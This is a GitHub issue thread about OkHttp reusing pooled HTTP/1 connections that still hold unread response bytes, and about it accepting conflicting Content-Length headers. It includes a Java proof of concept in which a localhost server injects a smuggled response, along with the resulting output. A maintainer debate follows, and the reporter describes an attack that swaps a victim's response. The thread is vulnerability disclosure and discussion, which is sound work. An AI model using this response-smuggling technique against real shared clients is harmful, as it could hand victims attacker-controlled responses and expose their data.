Repository navigation
Pooled HTTP/1 connection reused with a response left on the socket #9726
Description
OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.
FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt
Lines 450 to 456 in b830f03
| throw e | |
| } | |
| bytesRemaining -= read | |
| if (bytesRemaining == 0L) { | |
| responseBodyComplete(trailers = Headers.EMPTY) | |
| } |
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt
Lines 321 to 323 in b830f03
| if (idleDurationNs >= IDLE_CONNECTION_HEALTHY_NS && doExtensiveChecks) { | |
| return javaNetSocket.isHealthy(socket.source) | |
| } |
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt
Lines 243 to 246 in b830f03
| /** Returns the Content-Length as reported by the response headers. */ | |
| internal fun Response.headersContentLength(): Long = headers["Content-Length"]?.toLongOrDefault(-1L) ?: -1L | |
Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)
Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class Poc38 {
static final AtomicInteger connections = new AtomicInteger();
public static void main(String[] args) throws Exception {
boolean duplicate = args.length == 0 || args[0].equals("duplicate");
String responseHeaders = duplicate
? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
: "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
String wire = responseHeaders
+ "first"
+ "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";
ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
new Thread(() -> {
try {
Socket s = server.accept();
connections.incrementAndGet();
drainRequest(s.getInputStream());
s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
s.getOutputStream().flush();
Thread.sleep(60_000);
} catch (Exception ignored) {
}
}).start();
String base = "http://127.0.0.1:" + server.getLocalPort();
OkHttpClient client = new OkHttpClient();
System.out.println("mode: " + (duplicate
? "two Content-Length headers (0 and 5)"
: "one Content-Length (5) plus trailing bytes"));
try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
}
try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
}
System.out.println("TCP connections accepted by server: " + connections.get());
System.exit(0);
}
static void drainRequest(InputStream in) throws IOException {
BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
String line;
while ((line = r.readLine()) != null && !line.isEmpty()) {
}
}
}This results in:
mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).
Activity
JakeWharton commentedon Aug 22, 2026
You can't check for data on the socket. Any check is trivially defeated by just waiting one millisecond longer than any read.
This just sounds like a broken server and not our problem. If the connection isn't reused across a security boundary on the server-side through client-side logic, you're just describing a broken server.
MegaManSec commentedon Aug 23, 2026
This type of issue is better outlined in https://www.rfc-editor.org/rfc/rfc9112.html#section-11.1 than what I can explain, I think (unfortunately). It describes an example of a server-side bug producing an apparant second response, which is then treated as the answer to another request on the persistent connection.
I agree that checking the socket can't catch what you described, but that isn't what the example does: it writes both responses at once, before the second request has even been made. At that point the extra response may already be in Okio's buffer, which can be checked without another socket read.
RFC 9112 seems pretty explicit about the client's responsibility here, e.g section 9.2 it says that data received when there is no outstanding request "MUST NOT [be considered] a valid response" (https://www.rfc-editor.org/rfc/rfc9112.html#section-9.2) 6.3 also says a client "MUST NOT process, cache, or forward such extra data as a separate response".
In the example, OkHttp is indeed doing that: the server sends the bytes when only
/oneis outstanding, but OkHttp keeps them around and later returns them as the response to/two.Also I agree that the server has to be broken for those bytes to exist in the first place, but that is also how response splitting works. This materializes to an interesting case (that isn't a hostile origin), when it's a shared origin where an attacker can influence one response, while a later request on the same connection has a different authorization level/context.
So, I agree that a socket check can't make this completely race-free against a malicious server, but I don't think it makes it correct to reuse the connection when unsolicited bytes are already buffered, especially when the RFC explicitly says not to treat them as another response.
(and note: the conflicting
Content-Lengthcase is separate as well, different values are required to be treated as an unrecoverable error, anyways).JakeWharton commentedon Aug 23, 2026
If a malicious server can defeat the check with a probabilistic sleep then the check solves nothing.
JakeWharton commentedon Aug 23, 2026
Also let's not forget a malicious server can simply respond to any request with any response they want.
MegaManSec commentedon Aug 23, 2026
I'm not suggesting a timed socket read. I'm talking about not reusing the connection when bytes are already present in Okio's buffer after the response has been completed.
The server isn't assumed to be malicious; the attacker (another client) can influence one response, not choose arbitrary responses to later requests.
JakeWharton commentedon Aug 23, 2026
I understand what you're proposing. It's a trivial check. I just don't think it protects against anything in practice.
swankjesse commentedon Aug 23, 2026
Do you have a specific issue this code change would address? We like to spend our time and code solving problems and it's unclear whether this is a problem in practice.
(Not doing unnecessary work makes OkHttp faster!)
swankjesse commentedon Aug 23, 2026
I assume the spec is written that way to discourage server authors from transmitting response boilerplate proactively. I could imagine a cheeky server that always sends "HTTP/1.1 " in anticipation of a request.
MegaManSec commentedon Aug 25, 2026
No. It is specifically outlined: https://www.rfc-editor.org/rfc/rfc9112.html#name-response-splitting
MegaManSec commentedon Aug 25, 2026
Taking the example of https://blog.detectify.com/industry-insights/http-response-splitting-exploitations-and-mitigations/ for example, where a buggy (read: not malicious) server can be influenced to returned arbitrary HTTP headers (read: arbitrary values places after a
Location :)..So the below code sets up a local server playing a backend with that bug: it prints a URL-decoded
locationquery param straight into theLocationheader. An attacker calls/redirectwith alocationvalue that, once decoded, contains a full second fake HTTP response tacked on after the real 302. Then, Okhttp reads the 302, considers the exchange done, and returns the connection to the pool; but the the fake response is still sitting unread in the buffer in Okhttp.A victim then calls
/accounton that same shared client. Okhttp reuses the connection and hands the victim the attacker's fake response instead of their own. The victim's real/accountresponse is now the leftover data on that connection, so the attacker's next request on the shared client reads it.This does not rely on any time tricks, a malicious server, and is exactly what the RFC outlines to stop.
I set it up and ran the following with:
.. which:
JakeWharton commentedon Sep 12, 2026
@MrRocky04 LLM comments are not allowed per the contribution document. Further infractions will result in a ban.